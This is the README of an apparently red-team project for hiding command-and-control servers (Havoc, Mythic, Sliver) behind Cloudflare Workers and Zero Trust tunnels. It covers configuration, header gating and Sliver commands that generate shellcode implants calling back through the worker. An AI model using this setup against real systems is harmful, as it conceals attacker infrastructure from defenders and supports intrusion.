Cloudflare-Redirector

Inspired by Alfie Champion article, I decided to publish my own version of a Cloudflare Redirector adding the Zero Trust aspect.

Note: The idea or "workflow" can be scaled and can also integrate more feature (Ex: Cloudflare WAF, KV store, R2 buckets, Queues, etc.). I may publish the more complete version in the future.

V2 update (April 2024)

• Since my documentation was not that good, I made a little cli tool to facilate usage.
• Base on a configuration file to make it easier to apply your config.
• timesafecheck.
• Generate multiple router URLs with the wrangler --env feature (worker1, worker2, etc.).
• JWT (auth worker) with cloudflare-worker-jwt.
  • JWT setup is overkill for this project, but wanted to try it out and learn new things.
• Support multiple C2 listeners.
• I made a branch v1 with the old version.
• See websocket.md for websocket redirector support.

note: Redirector worker and Auth worker does not have any public URL (only accessbile with worker service binding).

Todo:

• add custom domain routing.
• ? (suggestions are welcome)

Things you will need

• wrangler cli. We will use wrangler cli to deploy.
  • To make sure wrangler cli is setup correctly: wrangler whoami
• A running C2 framework. Ex: Havoc.
• Cloudflare "regular" account. (free)
  • Having a least one domain managed in your Cloudflare account.
• Initiate your Cloudflare Zero Trust account through your Cloudflare "regular" account. (will ask for a credit card but free for the first 50 users). See screenshot 1.jpg in assets folder.
• Install Cloudflare tunnel (cloudflared) in your C2 server.

Cloudflare Setup

First time setting up a cloudflare tunnel? Take a look at this article provide by Cyb3rC3lt.

Follow the steps in the screenshots (/assets folder)

• 1-2.jpg - Access Zero Trust section
• 3.jpg - Create new service-auth token
• 4-6.jpg - Create new tunnel (and setting up on your C2 server)
• 7-12.jpg - Create application (self-hosted) rules to protect your listener (in the screenshots I'm using github authentication, but you can use the default "one-time pin". BTW, we only care about the Service-Auth policy since only our redirector need to visit listener url).

Setup & Usage (for the cli.sh)

1. Clone the Repository

git clone https://github.com/som3canadian/Cloudflare-Redirector

2. Modify the Configuration File

cd Cloudflare-Redirector
cp config_demo.json config.json
nano config.json

Navigate to Workers & Pages -> Overview -> to retrieve the values for the following fields:

  "cf_account_id": "<account_id>",
  "cf_account_dev_subdomain": "<subdomain>.workers.dev",

Secrets Examples:

• Navigate to Zero Trust -> Accesss -> Service Auth

  "service_cf_id": "13ab3563c111111111c8a2288d99d2df.access",
  "service_cf_secret": "10c5b60b4d66f5571111111111111111111111111111111111113cdb16e359fdcf8ab9e9",

• JWT password, you can generate randomly: python3 -c "import secrets; print(secrets.token_hex(32))"

  "jwt_secret": "7702bf381db07aa8848da26687018c05de6ef6e7d2b08b07ecfbc84a5684644c",

• Configure headers and their values. The router_header should be included in your C2 payload headers for verification to ensure that your redirector is only accessible with this header; all other requests without it will be rejected.

  "router_header": "X-Header",
  "router_header_secret": "secret_value",
  "auth_header": "X-Header-Gate",
  "auth_header_secret": "secret_value_auth_gate",

If using the same redirector for multiple C2 frameworks like Sliver and Mythic, the id_header can differentiate them (values like 1, 2, 3 correspond to "id" in the listeners section of config.json):

  "id_header": "X-ID"

3. Run the cli.sh with -f when its your first time deploying!

chmod +x cli.sh
./cli.sh -f

4. You should see the workers in your Cloudflare dashboard

---

Full Config File Example:

{
  "cf_account_id": "<account_id>",
  "cf_account_dev_subdomain": "<subdomain>.workers.dev",
  "observability_logs": "false",
  "observability_invocation_logs": "false",
  "use_websocket_listeners": "false",
  "secrets": {
    "service_cf_id": "<service_cf_id>",
    "service_cf_secret": "<service_cf_secret>",
    "jwt_secret": "your_secret_key",
    "router_header": "X-Header",
    "router_header_secret": "secret_value",
    "auth_header": "X-Header-Gate",
    "auth_header_secret": "secret_value_auth_gate",
    "id_header": "X-ID"
  },
  "router_route": [
    {
      "id": 1,
      "name": "router1",
      "use_custom_domain": "false",
      "use_dev_subdomain": "true",
      "pattern": "router1.example.com"
    },
    {
      "id": 2,
      "name": "router2",
      "use_custom_domain": "false",
      "use_dev_subdomain": "true",
      "pattern": "router2.example.com"
    },
    {
      "id": 3,
      "name": "router3",
      "use_custom_domain": "false",
      "use_dev_subdomain": "true",
      "pattern": "router3.example.com"
    }
  ],
  "listeners": [
    {
      "id": 1,
      "name": "havoc",
      "address": "https://havoc-listener.example.com/",
      "is_default": "false",
      "port": "443",
      "bind_port": "8443"
    },
    {
      "id": 2,
      "name": "mythic",
      "address": "https://mythic-listener.example.com/",
      "is_default": "true",
      "port": "443",
      "bind_port": "9443"
    },
    {
      "id": 3,
      "name": "sliver",
      "address": "https://sliver-listener.example.com/",
      "is_default": "false",
      "port": "443",
      "bind_port": "6443"
    }
  ],
  "websocket_route": [],
  "listeners_websocket": []
}

Note: id value is what will be used in for the X-ID header. Taking the example above, mythic listener profile will need to have X-ID: 2 in the header.

To understand the observability_logs and observability_invocation_logs settings, please refer to the Cloudflare Workers documentation.

Custom Domains

Using custom domain is optional (router_route default configuration doesnt need to be change). You can use the default workers.dev subdomain, which is set by the cf_account_dev_subdomain key in the config file. Just make sure to set use_dev_subdomain to true. So yes, if you set use_dev_subdomain to true, you don't need to do care about the pattern config.

If you want to use custom domain, here is an example:

...
  "router_route": [
    {
      "id": 1,
      "name": "router1",
      "use_custom_domain": "true",
      "use_dev_subdomain": "false",
      "pattern": "router1.mycustomdomain.com"
    },
    {
      "id": 2,
      "name": "router2",
      "use_custom_domain": "true",
      "use_dev_subdomain": "true",
      "pattern": "router2.anothercustomdomain.com"
    },
    {
      "id": 3,
      "name": "router3",
      "use_custom_domain": "false",
      "use_dev_subdomain": "true",
      "pattern": "router3.example.com"
    }
  ],
...

This configuration will create 4 URLs (Hosts for your C2 profile):

• router1.mycustomdomain.com
• router2.anothercustomdomain.com
• router2.<subdomain>.workers.dev
• router3.<subdomain>.workers.dev

note: domain(s) must be in the same Cloudflare account.

---

After deployment

• Start C2 server with your modified profile.

# Havoc #
# modify profiles/havoc/demo-profile.yaotl
./havoc server --profile profiles/cf-profile.yaotl -v

# Sliver #
# modify ~/.sliver/configs/http-c2.json (add header)
profiles new --skip-symbols -b https://127.0.0.1:443 --arch amd64 profileCF
https -L 127.0.0.1 -l 443
generate --http <worker.demo.com> --skip-symbols --disable-sgn --format shellcode --arch amd64

• You can see the logs of your worker by selecting the worker in the Cloudflare dashboard and click on the "Logs" tab. After click on "Begin log streams". See screenshot 13.jpg in assets folder. You can also use the wrangler tail command.

• You can see some demo profile in the profiles folder.

Credits

• Alfie Champion for the inspiration and article.
• Toby Schneider for cloudflare-worker-jwt.
• Cyb3rC3lt for the article on Cloudflare tunnel.
• DrorDvash for the contribution.
• Yack.